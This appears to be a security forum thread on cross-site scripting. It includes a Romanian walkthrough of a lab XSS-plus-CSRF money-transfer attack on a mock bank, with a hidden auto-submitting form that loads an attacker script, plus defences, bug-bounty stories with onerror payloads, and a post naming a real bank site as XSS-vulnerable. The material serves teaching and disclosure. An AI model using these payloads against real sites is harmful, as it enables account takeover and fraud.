X-Content-Type-Options.............................................................................................................58 17.4.1 Example...........................................................................................................................58 17.4.2 Example...........................................................................................................................59 17.5 Content-Security-Policy ..............................................................................................................59 17.5.1 Sample CSP......................................................................................................................60 Acknowledgements.....................................................................................................................................61 References ..................................................................................................................................................62 Read more: http://dl.packetstormsecurity.net/papers/attack/HTML5AttackVectors_RafayBaloch_UPDATED.pdf
  21. cybercop
    In cele ce urmeaza se incearca sa se demonstreze pericolul real care il reprezinta Cross-Site Scripting (XSS) combinat cu Cross-Site Request Forgery (CSRF). S-a creat un site imaginar ca exemplu, al unei banci si s-a demonstrat ca o singura vulnerabilitate XSS si o operatiune de transfer de bani in site-ul banci se poate transforma intr-o pierdere de bani doar vizitand alt site. In exemplul oferit, site-ul bancii nu este "over SSL" dar oricum SSL nu ar preveni acest atac sub nici o forma. Site-ul capcana din exemplul nostru este in intregime controlat de atacator, dar de fapt el poate fi un anunt Flash dintr-un site trusted, aplicatii Facebook / Myspace / LinkedIn sau alte forme de deghizare (mashups) ce ruleaza cod untrusted, sau chiar cod malitios rulind in alt site de incredere cum ar fi un forum sau bulletin board. In exemplul de mai jos, utilizatorul viziteaza site-ul bancii si pe cel al atacatorului in doua tab-uri ale browser-ului concomitent. De fapt, victima este expusa pe intreaga durata a sesiunii pe server. Asta inseamna ca daca un user isi inchide ferestrele browser-ului si de fapt nu face logout din aplicatia bancara, ramane vulnerabil pentru o perioada de timp de obicei cam intre 15 si 30 de minute. http://www.securitycompass.com/videos/xss%20steal.swf La inceput atacul poate parea exagerat din cauza tuturor factorilor ce trebuie sa intre in joc: O victima trebuie sa viziteze un site anume si care sa fie vulnerabil. Victima trebuie apoi sa viziteze un alt site, de data asta unul capcana si care sa stie sa atace site-ul de la pasul 1, in timp ce victima are cate o sesiune valida deschisa. Cum devine acest atac mai putin exagerat in prezent? Un studiu de caz al Web Application Security Consortium (WASC) arata ca aproape 60% din site-uri sunt vulnerabile la XSS. Abilitatea de a descoperi XSS nu a fost niciodata una simpla iar site-urile de public disclosure cum ar fi xssed.com fac din descoperirea vulnerabilitatilor specifice ceva banal. S-a observat ca atacurile reale sunt executate prin intermediul site-urile de retele de socializare si anunturi flash. Acesti vectori de atac permit utilizatorilor rau intentionati sa aiba ca tinte mii de victime in mod concurent – oferind destule victime potentiale, iar sansele ca cel putin cateva dintre ele sa aiba o sesiune valabila pe un site vulnerabil anume devine mai mare. Chiar dac? demo-ul arat? un atac pe o anumita banca, un atacator poate incerca sa atace mai multe site-uri din acelasi JavaScript malitios. Cu alte cuvinte, un fraudator XSS poate incerca cel putin teoretic sa livreze malware pentru mai multe site-uri vulnerabile diferite la mii de victime într-o perioad? foarte scurt? de timp. Ceea ce face deosebit de devastator acest atac este faptul ca victima nu va fi capabila sa anuleze transferul de bani. In jurnalele de tranzactii ale bancii, va apare ca utilizatorul a intentionat si a consimtit sa transfere sumele. Toate tranzactiile au la origine adresa IP a victimei si au fost trimise cu cookie-urile victimei. Doar analiza comportamentala ne dezvaluie ca de fapt povestea e alta - ex.: observarea vitezei anormale a seriei de request-uri sau faptul ca mai multi platitori au transferat bani catre aceeasi persoana intr-un interval scurt de timp - si ca de fapt este vorba despre o frauda. Detaliile tehnice ale atacului Utilizatorul viziteaza http://localhost:3000 (False Secure Bank) In timpul unei sesiuni valide in False Secure Bank, user-ul viziteaza apoi http://127.0.0.1/CSRF_Example (Site-ul atacatorului) In site-ul atacatorului, am adaugat un 0 iFrame cu dimensiuni 0X0, facand astfel continutul iFrame-ului invizibil pentru end user. In iFrame am introdus cod HTML incluzand un form cu valori pre-populate si script-uri ce fac trimiteri in mod automat form-ului din partea user-ului: <form name="input" action="http://localhost:3000/send_payment" method="post"> <input type="text" name="pay[payee]" value="<script src="http://127.0.0.1/CSRF_Example/bankattack.js" type="text/javascript"></script>"> <input type="text" name="amount" value="0"/> <input type="text" name="commit" value="Pay"/> </form> <script>document.input.submit();</script> Observati ca rubrica (campul) plata [persoana platita] este de fapt codul pentru payload-ul Cross Site Scripting. Acesta corespunde vulnerabilitatii XSS descoperita mai devreme in site-ul False Secure Bank. In acest caz, script-ul actual duce catre sursa aflata la http://127.0.0.1/CSRF_Example/bankattack.js. Comanda document.input.submit() trimite in mod automat request-ul din partea user-ului – deci cu alte cuvinte, furnizam un payload Cross Site Scripting (XSS) via un atac Cross Site Request Forgery (CSRF). Browser-ul user-ului in mod automat trimite cererea catre http://localhost:3000/send_payment cu cookie-urile utilizatorului. Utilizatorul nici nu banuie ce s-a intamplat. False Secure Bank trimite un raspuns la IFrame-ul de dimensiunea 0 X 0, de unde isi are originea cererea. Programatorul include o versiune nefiltrata, necodata a parametrului pay[payee] de la cererea send_payment. Deoarece acest parametru ruleaza in browser-ul clientilor, tag-ul <script src=’http://127.0.0.1/CSRF_Example/bankattack.js’ type=’ text/javascript’></script> se executa in mod automat. Browser-ul descarca in mod automat fisierul bankattack.js. Deoarece cererea pentru fisierul JavaScript arata ca provine de la False Secure Bank, browser-ul nu va crede ca acest lucru este o violare a politicii aceleiasi origini. In fisierul JavaScript am inclus serii intregi de cereri si raspunsuri Ajax. Ele arata cam asa: xmlhttp.open("GET", "/payment", false); //AJAX cerere de apel catre ecranul de plata xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); >xmlhttp.send(“”) Tipul de obiect JavaScript "XML HTTP" difera in functie de browser. Putem seta antetele cererii cum vrem noi si putem emula orice continut generat de user – inclusiv modificarea tag-ului user-agent sau a oricaror cookies folosite la urmarirea navigarii utilizatorului. Putem sa salvam raspunsul primit inapoi la comanda "send" si sa scoatem valorile ce ne intereseaza. Sa presupunem ca avem nevoie sa aflam numarul de cont al victimei pentru a transfera niste sume. Putem trimite o cerere XML HTTP la home page si scoatem numarul de cont din raspunsul HTML. In mod similar, putem scoate orice token-uri anti-CSRF odata ce am apucat sa rulam codul malitios JavaScript. False Secure Bank nu suporta si nici contine cod Ajax. Nu ne intereseaza. Ceea ce avem nevoie este doar ca browser-ul user-ului sa aiba suport Ajax, iar browser-ele moderne il au. Codul JavaScript din pasul anterior face cateva cereri diferite: Merge in ecranul de plati Eliminarea numarului de cont al atacatorului Adauga atacatorul ca beneficiar al platii Initiaza plata Confirma plata In timp ce acest scenariu prezinta un transfer bancar, am putea automatiza practic orice serie de cereri, in orice aplicatie web cu acest tip de atac. Contramasuri (Dezvoltatorii) Cea mai usoara contramasura este sa previi Cross Site Scripting. Utilizand judicios codarea puternica a librariilor cum ar fi cele date in proiectul OWASP ESAPI. Urmariti detaliile subliniate in Cross Site Scripting Prevention Cheat Sheet. Folositi cod frame adecvat (Frame Busting - metoda practica ce asigura prin cod html ca site-ul nu va fi afisat printr-un frame). Sunt multe modalitati de a face acest lucru. Retineti ca atacatorul are nevoie de un frame – astfel el va fi nevoit sa execute intregul atac la vederea utilizatorului – fapt ce creste posibilitatea ca userul sa inchida browser-ul si sa stopeze atacul in desfasurare. Metoda cea mai efectiva de prevenire a acestuia si aproape a tuturor atacurilor impotriva tranzactiilor senzitive este utilizarea autentificarii transactionale. Dezvoltatorii pot cere autentificarea Phone Factor, de exemplu, pentru toate transferurile ce depasesc de ex. 100 USD. Desigur orice autentificare aditionala poate ingreuna utilizarea operatiunii si deci sa faca aplicatia mai greoaie. Mai putin efectiva si desigur discutabil, este sa folosim abordarea mai putin prietenoasa a tehnologiei anti-automata CAPTCHA. Vectorul original XSS s-a livrat prin intermediul unui atac CSRF si prin intermediul tranzactiei send_payment. Daca intreaga portiune de autentificare a False Secure Bank ar fi fost protejata impotriva CSRF, n-am fi putut incarca codul reflectiv XSS de prima data. XSS-ul stocat nu are de aceeasi limitare. Contramasuri (Userii finali) Intotdeauna incheiati orice sesiune cu parola cu log out. Acest lucru nu previne atacul complet dar limiteaza in mod semnificativ expunerea la un atac. Nu navigati pe alte site-uri in timp ce rulati aplicatii sensibile cum ar fi de banking online. Folositi plugin-ul de browser NoScript. Da, NoScript previne acest atac, chiar daca tu crezi in scriptul din site-ul capcana, deoarece NoScript identifica cu precizie cererile CSRF ca potentiale atacuri Cross Site Scripting. Sper ca developerii ce creaza propriile aplicatii au frija la securitatea lor si ca ei nu mai cred in mod categoric faptul ca XSS (Cross Site Scripting) este ceva de un risc scazut sau mediu. LE: Multumesc frumos tuturor pentru toate like-urile acordate thread-urilor scrise de mine. Este o mica staisfactie, ce imi demonstreaza ca nu am scris pentru a contribui la cantitate, ci pentru oameni iar acestia au apreciat valoarea informatiei. PS: A propos, cati dintre voi folositi NoScript?
  22. Versus71
    Because of the nature of barcodes, developers may not be expecting attacks from that vector and thus don't sanitize their inputs properly. I had previously written "XSS, Command and SQL Injection vectors: Beyond the Form" so this was right up my alley. I constructed this page that lets you make barcodes in Code 93, Code 39, Code 39ext and Code 128A, B and C. Link: http://www.irongeek.com/xss-sql-injection-fuzzing-barcode-generator.php
  23. Fi8sVrs
    Login page XSS, though, not content. No commenter IDs compromised ... The Guardian has fixed a minor cross-site scripting vulnerability on its website. The flaw, discovered and responsibly disclosed by security researcher Pete Houghton, occurred at the worse possible place on the UK broadsheet's website - right on its login page. Readers use the page to log in and comment on stories. In theory the flaw might have been used to phish the login credentials of Guardian readers. There's no evidence this actually happened. A Guardian News & Media spokesperson told El Reg: "We have not asked our users to change their passwords as there is no evidence that this flaw was exploited maliciously". Houghton notified the UK broadsheet about the flaw in early April and it was fixed by early June. Houghton only published a detailed write-up of the problem last week, however. The bug hunter praised The Guardian's team's overall handling of his bug report. Cross-site scripting (XSS) vulnerabilities stem from web application development mistakes. Attackers can exploit XSS bugs to inject scripts or pop-ups from untrusted sites so that they appear to surfers as originating from the site they happened to be visiting. XSS flaws are a common class of vulnerability, most regularly abused in phishing attacks. XSS bugs are bad news whenever they appear but the practical danger they pose is only really worth worrying about when they appear on banking or e-commerce websites. More on the consequences of XSS problems can be found in a guide by the Open Web Application Security Project? here. ® Via: The Grauniad corrects an error on its website • The Register
  24. alien
    This guy recently found a Stored XSS on Facebook worth 3500USD dollars. This is his story how he did it: I was actually working on finding flaws on Dropbox to begin with. I noticed that when using their web interface there were some restrictions on what filenames that were allowed. If you tried to rename a file to for example: '"><img src=x onerror=alert(document.domain)>.txt it was not possible. You got this error: The following character are not allowed: \/:?*<>"| But, if you instead, connected a local directory, created a file there and synced it, you got it inside Dropbox without any problems. Using this method I was able to find two issues with their notification messages showing unescaped filenames. I reported these issues to Dropbox, they patched it really fast and I was placed on their Special Thanks page for the responsible disclosure. It didn’t end here. As I was testing out this stuff on Dropbox, I also tried to figure out how this issue could be connected with other services. I noticed their Facebook-connection and got curious on how it worked. It turned out that they had a pretty nice function going on there: “Dropbox has teamed up with Facebook so that you can do cool things like add files from Dropbox to your Facebook groups or send shared folder invitations to your Facebook friends.” Nice! I created a group, and found the connection using the “Add File” icon on the Group wall: I selected the file that I synced to Dropbox, it was called: '"><img src=x onerror=alert(document.domain)>.txt and shared it. Nothing awesome happened except the file being shared. But then, I clicked the Share-link on the entry. BAM! The title of the entry was not escaped correctly and I was able to get the Stored XSS triggered. By using the files in my Dropbox I could inject script code that was executed on Facebook.com. I reported this to Facebook directly using their Whitehat Vulnerability Reporting system, told them it was an urgent issue and how I managed to get it executed. The issue was at that time only affecting the Share-popup inside the Group page and could only be triggered by user interaction, serious or not, it was clearly not affecting all users on Facebook. At the same time I started looking on the URL of this Share-popup: https://www.facebook.com/ajax/sharer/?s=44&appid=210019893730&p%5B0%5D=entry_id&p%5B1%5D=user_that_shared_it_first This URL did not work if you tried it stand-alone. That was good, the XSS issue looked like it could only be triggered by user interaction. But then I started googling and found that you were able to create a Share-URL by using this format: https://www.facebook.com/sharer/sharer.php? So I changed my URL to that format: https://www.facebook.com/sharer/sharer.php?s=44&appid=210019893730&p%5B0%5D=entry_id&p%5B1%5D=user_that_shared_it_first BAM again! If you were logged in into Facebook, the code was executed as soon as you visited the link. Bad. Really bad. I emailed Facebook again, explaining that you could actually trigger the XSS by only visiting a link. I was also trying out if I could get other services to behave in the same way. Dropbox and Facebook had this special connection, so I was curious if this issue was isolated or if I could reproduce it by using another service. Went to Pinterest. Created a Pin named: '"><img src=x onerror=alert(document.domain)> and shared it on Facebook using my test account. I pressed the Share button on it. I was amazed – it had the same issue. Facebook replied to me, asking me how I was able to place the files on Dropbox with that filename. I explained how this was done and also told them that the service that you shared from didn’t matter, it was a general issue with the escaping that created a vulnerable vector on the Share-page. They responded and said that it was indeed the same issue and they should look into it ASAP. In the meantime, I tried the link on different devices. My iPhone could not get the XSS executed. As soon as I visited the page, I was redirected to https://m.facebook.com and that page did not have the same issue. But I also realized that you could force Facebook to skip the redirect by using a parameter called m2w, so if I appended that to the URL: https://www.facebook.com/sharer/sharer.php?s=44&appid=210019893730&p%5B0%5D=entry_id&p%5B1%5D=user_that_shared_it_first&m2w I was able to trigger the URL on both mobile devices and on desktop. Another email to Facebook. One day after that I noticed that the POC-link did not work anymore, it was finally patched. I told them I could not reproduce it anymore and it looked like it was fixed. One day later I got this email: Source: Detectify Blog – How I got a $3,500 USD Facebook Bug Bounty
  25. dr.d3v1l
    xss Bancaetica.it SCRIPT : <script>/*///*/alert(/XSS Vul Dr.d3v1l/);</script>
×
×
  • Create New...